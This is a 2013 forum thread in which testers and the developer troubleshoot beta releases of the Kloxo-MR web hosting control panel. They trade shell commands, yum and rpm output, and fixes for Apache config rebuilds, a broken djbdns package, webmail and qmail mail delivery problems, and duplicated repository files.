Except mod_php (also ruid2 and itk), we don't need more httpd instances.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-02, 05:30:48
Quote from: "MRatWork"
have you run 'sh /script/apache-optimize --select=default'?

Except mod_php (also ruid2 and itk), we don't need more httpd instances.

No. I will try this tommorow. Let it rebuild over night.
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-02, 05:31:33
You need force restart with 'service httpd restart' instead 'service graceful'.

BTW, in latest upload, mechanism is different approach you can see 'real' reload for certain service(s) inside /usr/local/lxlabs/kloxo/etc/process
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-02, 05:32:21
Quote from: "MRatWork"
You need force restart with 'service httpd restart' instead 'service graceful'.

BTW, in latest upload, reload method is different approach you can see 'real' reload for certain service(s) inside /usr/local/lxlabs/kloxo/etc/process
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-02, 05:57:50
@Spacedust,

DJBDNS is useless. Not work.

I will recompile again with new source but with spec from Qmailtoaster.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-02, 07:01:52
Quote from: "MRatWork"
You need force restart with 'service httpd restart' instead 'service graceful'.

BTW, in latest upload, mechanism is different approach you can see 'real' reload for certain service(s) inside /usr/local/lxlabs/kloxo/etc/process

I did that many times and no go.

BTW Are stats dirs now being rebuild in /script/fixweb like /home/httpd/domain.com/stats ?

I'm trying to run a copy of my production server without user data on /home.
Title: Re: Need Kloxo-MR Tester
Post by: Viking on 2013-02-02, 10:34:09
6.5.0.candidate.2012-12-17-01
CentOS release 5.8 (Final)
Update Kloxo-MR to:
6.5.0.c.2013020104
Update Centos:
CentOS release 5.9 (Final)
centos-5-x86_64
nginx-proxy
ruid2
PHP 5.3.20
sh /script/convert-to-qmailtoaster
sh: /script/convert-to-qmailtoaster: No such file or directory

Problems with telnet. At 10 vps restarts 8 times did not work.

Afterlogic:
(http://www.zimagez.com/miniature/przechwycenieobrazuekranu-02022013-051954.php) (http://www.zimagez.com/zimage/przechwycenieobrazuekranu-02022013-051954.php)

The rest works well for now.

Today, Test for 2 vps installation on Centos 6.x
Title: Re: Need Kloxo-MR Tester
Post by: giljack on 2013-02-02, 11:49:05
This is a clean install on a new server.

Centos 6.3 Final 64 bit

I need to install 64 bit because this server have 4 gig RAM.

I have tried all of Kloxo-MR 6.5.0.c xxxxxxxx and have different problems.
Now I go back to  6.5.0.c.2013013103  and finally make it to work.

Configuration:

nginxproxy
bind
php (as_5.3.21)
fcgid_event
Enable php5.2(use Lxphp)as Secondary PhP


I will try to switch to different config to see what works.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-02, 17:22:20
I'm still unable to rebuild Apache configs on 512 MB RAM + 2 GB SWAP. It stops on customer "r" so preety close to the end. It's because each customer have it's own php-fpm process...
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-02, 17:36:56
I'm killing php-fpm too and we will see how it will work.
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-02, 18:00:56
Yes, php-fpm related to customer amount. For 512Mb better less then 4.
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-02, 18:03:50
Quote from: "MRatWork"
Yes, php-fpm related to customer amount. For 512Mb better less then 5.
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-02, 18:05:36
Maybe you can try rebuild config with ruid2 and then change ruid2 to php-fpm.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-02, 18:06:22
Quote from: "MRatWork"
Maybe you can try rebuild config with ruid2 and then change ruid2 to php-fpm.

Ok, but I have to confirm to that upgrade from 6.1.12 to latest Kloxo-MR still does not rebuild web server config - files inside /home/apache remains the same (original Kloxo 6.1.12 files).

Mustafa can I send you details via PM to the test VPS I was given from you ?
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-02, 18:23:07
Quote from: "Spacedust"
Quote from: "MRatWork"
Maybe you can try rebuild config with ruid2 and then change ruid2 to php-fpm.

Ok, but I have to confirm to that upgrade from 6.1.12 to latest Kloxo-MR still does not rebuild web server config - files inside /home/apache remains the same (original Kloxo 6.1.12 files).

Mustafa can I send you details via PM to the test VPS I was given from you ?
Update just refresh apps and not include upgrade config.

Need running fixweb (more better cleanup) for this purpose. No different config for 'domains' level but only different 'defaults' (like cp, webmail, ssl).
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-02, 18:24:34
Ok, send to more detail info.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-02, 18:26:16
I was on "w" in fixweb and out of memory :/ Will try adding more SWAP.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-02, 18:33:16
Trying again with 512 MB RAM + 3 GB SWAP
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-02, 19:14:58
When running 'sh /script/fixweb --help' will appear:
Code: [Select]
> sh /script/fixweb --help

 ------------------------------------------------------------------------------
  format: sh /script/fixweb [--server=] [--client=]
 ------------------------------------------------------------------------------
  --server=
      localhost: master (default)
      slaveid: slave id (ip or hostname)
      all: all servers (master and slave)
      - optional and 'localhost' for default value
      - multiple servers separated by ',' (comma)
  --client=
      - optional and 'all' for default value
      - multiple clients separated by ',' (comma)
      - use this option automatically set '--server=all'

There are 'hidden' option ('--target=').

We can use 'sh /script/fixweb --target=domains' or 'sh /script/fixweb --target=defaults'
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-02, 21:55:04
/script/fixweb doesn't work - all Apache configs were removed and not rebuilding. I've sent you a PM with VPS details.
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-02, 22:10:38
Quote from: "Spacedust"
/script/fixweb doesn't work - all Apache configs were removed and not rebuilding. I've sent you a PM with VPS details.
Using latest upload?.

Latest upload remove configs except certain (old) configs like exclusive dir.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-02, 22:34:07
Quote from: "MRatWork"
Quote from: "Spacedust"
/script/fixweb doesn't work - all Apache configs were removed and not rebuilding. I've sent you a PM with VPS details.
Using latest upload?.

Latest upload remove configs except certain (old) configs like exclusive dir.

Yes, try yourself on my VPS.
Title: Re: Need Kloxo-MR Tester
Post by: giljack on 2013-02-03, 01:09:49
my test server runs on Centos 6.3 64bit
Loxko-MR 6.5.0.c.2013020104

nginxpproxy
bind
PHP 5.3.21
php-fpm_event

But when switching between fcgid_event and php-fpm_event, you have to manually install php-fpm "yum install php-fpm"
this wont be instlalled by just clicking update button.
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-03, 01:20:19
Quote from: "giljack"
my test server runs on Centos 6.3 64bit
Loxko-MR 6.5.0.c.2013020104

nginxpproxy
bind
PHP 5.3.21
php-fpm_event

But when switching between fcgid_event and php-fpm_event, you have to manually install php-fpm "yum install php-fpm"
this wont be instlalled by just clicking update button.
I will review totally together with suphp issues.
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-03, 03:03:26
Something trouble with your /home/apache dir. This dir not standard dir but symlink from /var/lib/mysql/apache.

I was already fix issue and ready for running fixweb.

In my test on my kvm 1gb ram, create 2000 domains need 70 minutes (around 2 seconds/domains). Remember, create domains not only create web config but also create dns config, mail config (postmaster account) and etc.

My predictions, estimate time for fixweb are 1 domains/second.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-03, 03:07:35
Quote from: "MRatWork"
Something trouble with your /home/apache dir. This dir not standard dir but symlink from /var/lib/mysql/apache.

I was already fix issue and ready for running fixweb.

In my test on my kvm 1gb ram, create 2000 domains need 70 minutes (around 2 seconds/domains). Remember, create domains not only create web config but also create dns config, mail config (postmaster account) and etc.

My predictions, estimate time for fixweb are 1 domains/second.

It's not wrong. We use symlinks because /var/lib/mysql is on SSD drive on our server so this speeds up a lot compared to /home/apache which is on HDD.
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-03, 03:14:23
But because this symlink, you have a problem for creating apache config.

Another issue, /home/vpopmail as symlink from /home/lxadmin/mail. Maybe because this symlink, you found mail account have wrong place.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-03, 03:16:43
Quote from: "MRatWork"
But because this symlink, you have a problem for creating apache config.

Another issue, /home/vpopmail as symlink from /home/lxadmin/mail. Maybe because this symlink, you found mail account have wrong place.

It works ok on 6.1.12 and was working ok in Kloxo-Mr from 17th of December, the other symlink was created by Kloxo i didn't touched that.
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-03, 03:24:00
Quote from: "Spacedust"
Quote from: "MRatWork"
But because this symlink, you have a problem for creating apache config.

Another issue, /home/vpopmail as symlink from /home/lxadmin/mail. Maybe because this symlink, you found mail account have wrong place.

It works ok on 6.1.12 and was working ok in Kloxo-Mr from 17th of December, the other symlink was created by Kloxo i didn't touched that.
Maybe you right about it.

Kloxo before 6.1.7 (remember, I start as developer in this version) have a problem for directory of mail and I was fixed this issue on 6.1.7.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-03, 04:10:28
Configs rebuilt but not working, because /stats were not rebuild...
Code: [Select]
(2)No such file or directory: httpd: could not open error log file /home/httpd/zwierciadlo.tk/stats/zwierciadlo.tk-error_log.
Unable to open logs
Can you add this to /script/fixweb ?
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-03, 19:58:07
It's maybe log file and or directory not exists. Need action manually for this situation.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-03, 20:01:45
Quote from: "MRatWork"
It's maybe log file and or directory not exists. Need action manually for this situation.

Yes, because I didn't copied /home for testing. Can you add this to fixweb so I can test the webserver even without user data ?
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-03, 20:25:14
I think something wrong again with your system. Fixweb will be execute 'Full_update' function:
Code: [Select]
function fullUpdate()
{
global $sgbl;

$domname = $this->getDomainname();
$uname = $this->getUser();

$hroot = $sgbl->__path_httpd_root;
$droot = $this->main->getFullDocRoot();

lxfile_mkdir("{$hroot}/{$domname}/webstats");

$this->main->createPhpInfo();
web::createstatsConf($domname, $this->main->stats_username, $this->main->stats_password);

// $this->createSSlConf();

$this->createConfFile();

lxfile_unix_chown_rec("{$droot}/", "{$uname}:{$uname}");
lxfile_unix_chmod("{$droot}/", "0755");
lxfile_unix_chmod("{$droot}", "0755");
lxfile_unix_chown("{$hroot}/{$domname}", "{$uname}:apache");
}

You can see:
- web::createstatsConf($domname, $this->main->stats_username, $this->main->stats_password); --> config for webalizer/awstats (including dir create)
- lxfile_mkdir("{$hroot}/{$domname}/webstats"); --> dir for webalizer; overlap with above function and possible remove
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-03, 20:38:11
Quote from: "MRatWork"
I think something wrong again with your system. Fixweb will be execute 'Full_update' function:
Code: [Select]
function fullUpdate()
{
global $sgbl;

$domname = $this->getDomainname();
$uname = $this->getUser();

$hroot = $sgbl->__path_httpd_root;
$droot = $this->main->getFullDocRoot();

lxfile_mkdir("{$hroot}/{$domname}/webstats");

$this->main->createPhpInfo();
web::createstatsConf($domname, $this->main->stats_username, $this->main->stats_password);

// $this->createSSlConf();

$this->createConfFile();

lxfile_unix_chown_rec("{$droot}/", "{$uname}:{$uname}");
lxfile_unix_chmod("{$droot}/", "0755");
lxfile_unix_chmod("{$droot}", "0755");
lxfile_unix_chown("{$hroot}/{$domname}", "{$uname}:apache");
}

You can see:
- web::createstatsConf($domname, $this->main->stats_username, $this->main->stats_password); --> config for webalizer/awstats (including dir create)
- lxfile_mkdir("{$hroot}/{$domname}/webstats"); --> dir for webalizer; overlap with above function and possible remove

Please add also:

/home/httpd/{$domname}/stats/{$domname}-custom_log
/home/httpd/{$domname}/stats/{$domname}-error_log
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-03, 20:42:30
This log file automatically create if stats apps running.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-03, 20:45:09
Quote from: "MRatWork"
This log file automatically create if stats apps running.

OK, but I'm unable to do this on a test system. Also in case a production system is missing one of these files the whole web server is down. It happened a lot of times when we were moving and new domains were added at the same time.
Title: Re: Need Kloxo-MR Tester
Post by: vinceent on 2013-02-03, 20:46:16
i offer free 1 VPS for testing KLOXO  
pm
username
password
mail
Title: Re: Need Kloxo-MR Tester
Post by: lapy on 2013-02-04, 03:25:39
Hi everyone, I have Kloxo-MR 6.5.0.c.2013020104 on my centos 5 VPS.
After a lot of trouble everything is working now but I have two problems:

If I set php to 5.3+ some of my websites don't work, they require php-mcrypt (5.3) which is not available in kloxo's repositories.

If I switch the webmail application it doesn't change, it's stuck on AfterLogic. I already did fixwebmail.

How can I fix this?
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-04, 04:44:27
The latest djbdns doesn't work at all !

Code: [Select]
[root@nowosci tinydns]# rpm -qi djbdns
Name        : djbdns                       Relocations: (not relocatable)
Version     : 1.05                              Vendor: (none)
Release     : 17.2.mr.el5                   Build Date: sob 02 lut 2013 03:27:30 CET
Install Date: nie 03 lut 2013 23:45:24 CET      Build Host: c564.potissima.com
Group       : Utilities/System              Source RPM: djbdns-1.05-17.2.mr.el5.src.rpm
Size        : 878430                           License: Check with djb@koobera.math.uic.edu
Signature   : (none)
Packager    : david@summersoft.fay.ar.us
URL         : http://cr.yp.to/djbns.html
Summary     : A Secure DNS server (Domain Name Server).
Description :
A secure DNS server (Domain Name Server).

Code: [Select]
[root@nowosci tinydns]# ./run
softlimit: fatal: unable to run /usr/local/bin/tinydns: file does not exist

Downgrade to lxcenter version removes init.d script:

Code: [Select]
[root@nowosci /]# /etc/init.d/djbdns restart
-bash: /etc/init.d/djbdns: No such file or directory
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-04, 04:50:11
Copied init.d script from backup and upgraded again to Kloxo-MR version and now works ok:

Code: [Select]
[root@nowosci /]# ps aux | grep dns
tinydns   9548  0.3  0.0   3980   432 pts/0    S    23:50   0:00 /usr/local/bin/tinydns
root      9549  0.0  0.0   3892   252 pts/0    S    23:50   0:00 tcpserver -vDRHl0 -x tcp.cdb -- 0.0.0.0 53 /usr/local/bin/axfrdns
root      9657  0.0  0.0  63784   816 pts/0    S+   23:51   0:00 grep dns
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-04, 21:18:59
Confirmed again today - do not upgrade to djbdns made by Mustafa !
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-04, 21:32:52
Quote from: "Spacedust"
Confirmed again today - do not upgrade to djbdns made by Mustafa !
Better waiting for Powerdns.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-04, 21:37:57
Quote from: "MRatWork"
Quote from: "Spacedust"
Confirmed again today - do not upgrade to djbdns made by Mustafa !
Better waiting for Powerdns.

Standard djbdns from lxcenter repo works fine with Kloxo-MR and 6.1.12.
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-04, 21:45:18
Quote from: "Spacedust"
Quote from: "MRatWork"
Quote from: "Spacedust"
Confirmed again today - do not upgrade to djbdns made by Mustafa !
Better waiting for Powerdns.

Standard djbdns from lxcenter repo works fine with Kloxo-MR and 6.1.12.
Yes, I know but djbdns have big trouble when compile to Centos 6.

Another issue, not ready for IPv6.

So, Kloxo-MR will be not use djbdns and change to powerdns.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-04, 21:49:09
Quote from: "MRatWork"
So, Kloxo-MR will be not use djbdns and change to powerdns.

Maybe it's good time to update to Kloxo-MR candidate, because there seems to be a lot of work with moving from Kloxo 6.1.12, new web server configs, new qmail and no djbdns...
Title: Re: Need Kloxo-MR Tester
Post by: Viking on 2013-02-05, 06:20:17
During the update, I encountered this error:

Code: [Select]
Error Downloading Packages:
  php-devel-5.2.17-24.el5.x86_64: failure: php-devel-5.2.17-24.el5.x86_64.rpm from kloxo-mr-centalt: [Errno 256] No more mirrors to try.

Prepare installation directory
Local copying Kloxo release
ln: tworzenie dowi?zania symbolicznego `/usr/lib/httpd/httpd' do `/usr/lib64/httpd': Plik istnieje
ln: tworzenie dowi?zania symbolicznego `/usr/lib/lighttpd/lighttpd' do `/usr/lib64/lighttpd': Plik istnieje
ln: tworzenie dowi?zania symbolicznego `/usr/lib/mysql/mysql' do `/usr/lib64/mysql': Plik istnieje

Installing mail Components....Updating channel "pear.php.net"
Update of Channel "pear.php.net" succeeded
WARNING: "pear/Console_Getopt" is deprecated in favor of "pear/Console_GetoptPlus"

Warning: popen() has been disabled for security reasons in OS/Guess.php on line 242

Warning: fgets(): supplied argument is not a valid stream resource in OS/Guess.php on line 243

Warning: pclose(): supplied argument is not a valid stream resource in OS/Guess.php on line 252

Warning: popen() has been disabled for security reasons in OS/Guess.php on line 242

Warning: fgets(): supplied argument is not a valid stream resource in OS/Guess.php on line 243

Warning: pclose(): supplied argument is not a valid stream resource in OS/Guess.php on line 252
downloading Archive_Tar-1.3.10.tgz ...
Starting to download Archive_Tar-1.3.10.tgz (18,294 bytes)
......done: 18,294 bytes
upgrade ok: channel://pear.php.net/Archive_Tar-1.3.10

Warning: popen() has been disabled for security reasons in OS/Guess.php on line 242

Warning: fgets(): supplied argument is not a valid stream resource in OS/Guess.php on line 243

Warning: pclose(): supplied argument is not a valid stream resource in OS/Guess.php on line 252

Creating Vpopmail database...
/tmp/kloxo/kloxo-install/kloxo-linux/vpop.sh: line 46: /home/vpopmail/etc/vpopmail.mysql: Nie ma takiego pliku ani katalogu
Title: Re: Need Kloxo-MR Tester
Post by: Viking on 2013-02-05, 21:38:05
Roundcube is not working. Displays a white page.
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-05, 21:43:03
Try 'sh /script/fixwebmail'. Better using 'sh /script/cleanup' after update.
Title: Re: Need Kloxo-MR Tester
Post by: Viking on 2013-02-05, 23:55:41
Quote from: "MRatWork"
Try 'sh /script/fixwebmail'. Better using 'sh /script/cleanup' after update.
Unfortunately, it does not help. White Stone is no matter whether it was an update or a new installation, and whether it is a centos 5.x or 6.x centos I have the same problem on 2 vps test.
Other webmail programs are working properly.
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-06, 00:48:40
Try 'yum reinstall kloxo-roundcube' and then 'sh /script/fixwebmail'.
Title: Re: Need Kloxo-MR Tester
Post by: Viking on 2013-02-06, 02:22:08
Quote from: "MRatWork"
Try 'yum reinstall kloxo-roundcube' and then 'sh /script/fixwebmail'.
It is still white page.
Title: Re: Need Kloxo-MR Tester
Post by: djscooby on 2013-02-06, 02:42:57
-t-dah : ERROR (2): fsockopen() [function.fsockopen]: unable to connect to xxx.xxx:143 (Connection timed out) (/t-dah/inc/class/class.uebimiau_mail.php:81)

-Horde : when clicked redirects to http://webmail.%2A/horde/login.php (http://webmail.%2A/horde/login.php)  (so not working)

-SquirrelMail : Error opening /home/kloxo/httpd/webmail/squirrelmail/prefs/default_pref
Default preference file not found or not readable!
Please contact your system administrator and report this error.

Rouncube loads up fine.. Can send mails... But cant receive mails...
As i see on kloxo all mails stuck on Mail Queue.

With "windows live mail" program,  mail accounts login and syncronize sucesfully but cant send any mail..! it asks for password and always authentification error on send... And of course cant receive anything as all mails stuck on Mail Queue..

Any idea ?

Centos 5.9 x64
Kloxo 6.5.0.c.2013020402 (update)
Server : nginx


Also can i install again nginx-special or it has issues ?
Title: Re: Need Kloxo-MR Tester
Post by: djscooby on 2013-02-06, 02:55:14
a small update on the logs..

on "maillog.log" i have these errors :

qmail: 1360097427.369165 delivery 17: deferral: vdelivermail:_deferred,_database_down/
vpopmail[27432]: vchkpw-smtp: vpopmail user not found info@xxxxxxxxxx.xxx:94.xx.xxx.xxx
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-06, 07:32:09
Don't use nginx-special at this moment and change to standard nginx. Use 'yum replace nginx-special --replace-with=nginx'
Title: Re: Need Kloxo-MR Tester
Post by: djscooby on 2013-02-06, 13:13:36
Thanks Mustafar

i will try it.. regarding mail issue any idea on how to fix it?
Title: Re: Need Kloxo-MR Tester
Post by: djscooby on 2013-02-06, 13:35:09
Quote from: "djscooby"
Thanks Mustafar

i will try it.. regarding mail issue any idea on how to fix it?
Sorry i understand wrong, i am not using nginx special.. i am using normal version..

Please if you have any idea regarding mail issue with mails stuck on queue and authentification issues on sending please help as mails wont work on server.
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-06, 14:34:23
Quote from: "djscooby"
Quote from: "djscooby"
Thanks Mustafar

i will try it.. regarding mail issue any idea on how to fix it?
Sorry i understand wrong, i am not using nginx special.. i am using normal version..

Please if you have any idea regarding mail issue with mails stuck on queue and authentification issues on sending please help as mails wont work on server.
Simple test:
1. Create account, say it as admin@yourdomain.com (http://mailto:admin@yourdomain.com) send to admin@yourdomain.com)

About 'mail queue' usually 'target email' already exist and maybe over-quota/down and then qmail try within certain times.
Title: Re: Need Kloxo-MR Tester
Post by: djscooby on 2013-02-06, 14:38:32
Alert: mailaccount_add_failed [Error - no authentication database connection. Initial open.]

When adding new mail account on a client..

I also saw errors for database over maillog.log file...
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-06, 14:45:36
Your system is fresh install or update from previous version (Kloxo Official).

What the first version of Kloxo/Kloxo-MR?.

If from Kloxo Official, the same issue?.
Title: Re: Need Kloxo-MR Tester
Post by: djscooby on 2013-02-06, 14:50:29
Current Version:   6.5.0.c.2013020402

Update from older mr version..

As i have seen there is someone had this issue on official kloxo.. will the script fix vpopmail work on the mr version ?
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-06, 14:58:18
Quote from: "djscooby"
Current Version:   6.5.0.c.2013020402

Update from older mr version..

As i have seen there is someone had this issue on official kloxo.. will the script fix vpopmail work on the mr version ?
You can try 'sh /script/fixvpopmail; sh /script/fix-qmail-assign; sh /script/fixmail'.

And content of '/etc/rc.d/init.d' and '/etc/xinetd.d'. Maybe something missing.
Title: Re: Need Kloxo-MR Tester
Post by: lapy on 2013-02-06, 16:04:34
Quote from: "djscooby"
Current Version:   6.5.0.c.2013020402

Update from older mr version..

As i have seen there is someone had this issue on official kloxo.. will the script fix vpopmail work on the mr version ?

What host are you on? godaddy?
Title: Re: Need Kloxo-MR Tester
Post by: djscooby on 2013-02-06, 16:52:42
Its a vps server on ovh.. tried reseting sql password then scipt/fixvpop fixwebmail..
After that messages that where stuck on mail queue after flushing them were dilivered(i suppose since they diasappeared from list) but now authetification fails on all account.. (roundcube and also windows live mail program, so back to not working again)

i will try a kloxo update again later and post back the results..
Title: Re: Need Kloxo-MR Tester
Post by: lapy on 2013-02-06, 16:57:48
I'm on godaddy vps and my mail is stuck too... Authentication fails on webmail also...
Title: Re: Need Kloxo-MR Tester
Post by: lapy on 2013-02-06, 17:10:20
EDIT: I did /script/cleanup and it's fixed, but still I can't change webmail application!
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-06, 18:50:14
Quote from: "lapy"
EDIT: I did /script/cleanup and it's fixed, but still I can't change webmail application!
Try also 'yum install kloxo*' and cleanup again.
Title: Re: Need Kloxo-MR Tester
Post by: lapy on 2013-02-06, 18:51:48
Code: [Select]
yum install kloxo*
Loaded plugins: fastestmirror, priorities, protectbase, replace
Repository kloxo-mr-release-neutral-noarch is listed more than once in the configuration
Repository kloxo-mr-release-neutral-arch is listed more than once in the configuration
Repository kloxo-mr-release-version-noarch is listed more than once in the configuration
Repository kloxo-mr-release-version-arch is listed more than once in the configuration
Repository kloxo-mr-testing-neutral-noarch is listed more than once in the configuration
Repository kloxo-mr-testing-neutral-arch is listed more than once in the configuration
Repository kloxo-mr-testing-version-noarch is listed more than once in the configuration
Repository kloxo-mr-testing-version-arch is listed more than once in the configuration
Repository kloxo-mr-srpms is listed more than once in the configuration
Repository kloxo-mr-lxcenter is listed more than once in the configuration
Repository kloxo-mr-centalt is listed more than once in the configuration
Repository kloxo-mr-ius is listed more than once in the configuration
Repository kloxo-mr-epel is listed more than once in the configuration
Repository kloxo-mr-varnish-3.0 is listed more than once in the configuration
Repository kloxo-mr-centosec is listed more than once in the configuration
Repository kloxo-mr-nginx is listed more than once in the configuration
Repository kloxo-mr-release-neutral-noarch is listed more than once in the configuration
Repository kloxo-mr-release-neutral-arch is listed more than once in the configuration
Repository kloxo-mr-release-version-noarch is listed more than once in the configuration
Repository kloxo-mr-release-version-arch is listed more than once in the configuration
Repository kloxo-mr-testing-neutral-noarch is listed more than once in the configuration
Repository kloxo-mr-testing-neutral-arch is listed more than once in the configuration
Repository kloxo-mr-testing-version-noarch is listed more than once in the configuration
Repository kloxo-mr-testing-version-arch is listed more than once in the configuration
Repository kloxo-mr-srpms is listed more than once in the configuration
Repository kloxo-mr-lxcenter is listed more than once in the configuration
Repository kloxo-mr-centalt is listed more than once in the configuration
Repository kloxo-mr-ius is listed more than once in the configuration
Repository kloxo-mr-epel is listed more than once in the configuration
Repository kloxo-mr-varnish-3.0 is listed more than once in the configuration
Repository kloxo-mr-centosec is listed more than once in the configuration
Repository kloxo-mr-nginx is listed more than once in the configuration
Loading mirror speeds from cached hostfile
 * addons: centos-distro.cavecreek.net
 * base: centos-distro.cavecreek.net
 * extras: mirrors.bluehost.com
 * kloxo-mr-epel: mirrors.nebo.edu
 * kloxo-mr-ius: mirror.rackspace.com
 * updates: ftp.linux.ncsu.edu
addons                                                   | 1.9 kB     00:00    
base                                                     | 1.1 kB     00:00    
extras                                                   | 2.1 kB     00:00    
kloxo-mr-centalt                                         |  951 B     00:00    
kloxo-mr-centosec                                        | 2.3 kB     00:00    
kloxo-mr-epel                                            | 3.7 kB     00:00    
kloxo-mr-ius                                             | 2.2 kB     00:00    
kloxo-mr-lxcenter                                        |  951 B     00:00    
kloxo-mr-nginx                                           | 1.2 kB     00:00    
kloxo-mr-release-neutral-arch                            | 1.9 kB     00:00    
kloxo-mr-release-neutral-noarch                          | 1.9 kB     00:00    
kloxo-mr-release-version-arch                            | 1.9 kB     00:00    
kloxo-mr-release-version-noarch                          | 1.9 kB     00:00    
kloxo-mr-varnish-3.0                                     |  951 B     00:00    
updates                                                  | 1.9 kB     00:00    
Excluding Packages from Kloxo-MR - centalt - i386
Finished
Reducing Kloxo-MR - lxcenter - i386 to included packages only
Finished
Excluding Packages from Kloxo-MR - release-version-i386
Finished
Excluding Packages from Kloxo-MR - release-version-noarch
Finished
0 packages excluded due to repository protections
Setting up Install Process
No package kloxo-backup-php.ini available.
Nothing to do
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-06, 19:04:17
There are something wrong your repo list.

Inform here 'dir /etc/yum.repos.d'
Title: Re: Need Kloxo-MR Tester
Post by: lapy on 2013-02-06, 19:06:44
Quote from: "MRatWork"
There are something wrong your repo list.

Inform here 'dir /etc/yum.repos.d'

Code: [Select]
ls -l /etc/yum.repos.d/
total 32
-rw-r--r-- 1 root root 2049 Jan 25 12:14 CentOS-Base.repo
-rw-r--r-- 1 root root  636 Jan 11 16:33 CentOS-Debuginfo.repo
-rw-r--r-- 1 root root  626 Jan 11 16:33 CentOS-Media.repo
-rw-r--r-- 1 root root 6846 Jan 11 16:33 CentOS-Vault.repo
-rw-r--r-- 1 root root 3399 Feb  6 01:07 kloxo-mr.repo
-rw-r--r-- 1 root root 3399 Feb  1 18:43 kloxo-mr_lxcenter.repo
-rw-r--r-- 1 root root 3401 Feb  1 18:42 kloxo-mr_mratwork.repo
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-06, 19:21:55
I think your problem is clear. Your system triple kloxo-mr.repo.

If your system still using 'qmail from lxcenter', Kloxo-MR will be copy kloxo-mr_lxcenter.repo to kloxo-mr.repo and when using using 'qmail-toaster' (fresh install around last 1 week) Kloxo-MR will be copy kloxo-mr_mratwork.repo to kloxo-mr.repo.

How to know we are using 'qmail-toaster' or 'qmail-lxcenter'?. Run 'rpm -q qmail' and 'rpm -q qmail-toaster'.
Title: Re: Need Kloxo-MR Tester
Post by: lapy on 2013-02-06, 19:25:18
Quote from: "MRatWork"
I think your problem is clear. Your system triple kloxo-mr.repo.

If your system still using 'qmail from lxcenter', Kloxo-MR will be copy kloxo-mr_lxcenter.repo to kloxo-mr.repo and when using using 'qmail-toaster' (fresh install around last 1 week) Kloxo-MR will be copy kloxo-mr_mratwork.repo to kloxo-mr.repo.

How to know we are using 'qmail-toaster' or 'qmail-lxcenter'?. Run 'rpm -q qmail' and 'rpm -q qmail-toaster'.

Thank you sir for helping me :)

Code: [Select]
rpm -q qmail
qmail-1.03-1.5.15
rpm -q qmail-toaster
package qmail-toaster is not installed
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-06, 19:34:12
So, copy kloxo-mr_lxcenter.repo to kloxo-mr.repo and then delete kloxo-mr_lxcenter.repo and kloxo-mr_mratwork.repo. And then 'yum clean all; yum install kloxo*; sh /script/cleanup'.

Better also running 'service httpd restart; service nginx restart; service lighttpd restart; service php-fpm' because if not your system waiting for watchdog until web services running.
Title: Re: Need Kloxo-MR Tester
Post by: djscooby on 2013-02-06, 19:39:51
Mustafar in my case
Code: [Select]
[root@mail ~]# yum update
Loaded plugins: fastestmirror, priorities, protectbase,
              : replace
Loading mirror speeds from cached hostfile
 * addons: mirror.ovh.net
 * base: mirror01.th.ifl.net
 * extras: mirror.ovh.net
 * kloxo-mr-epel: mirror.ibcp.fr
 * kloxo-mr-ius: ftp.rediris.es
 * updates: mirror.ovh.net
addons                          | 1.9 kB     00:00
base                            | 1.1 kB     00:00
extras                          | 2.1 kB     00:00
kloxo-mr-centalt                |  951 B     00:00
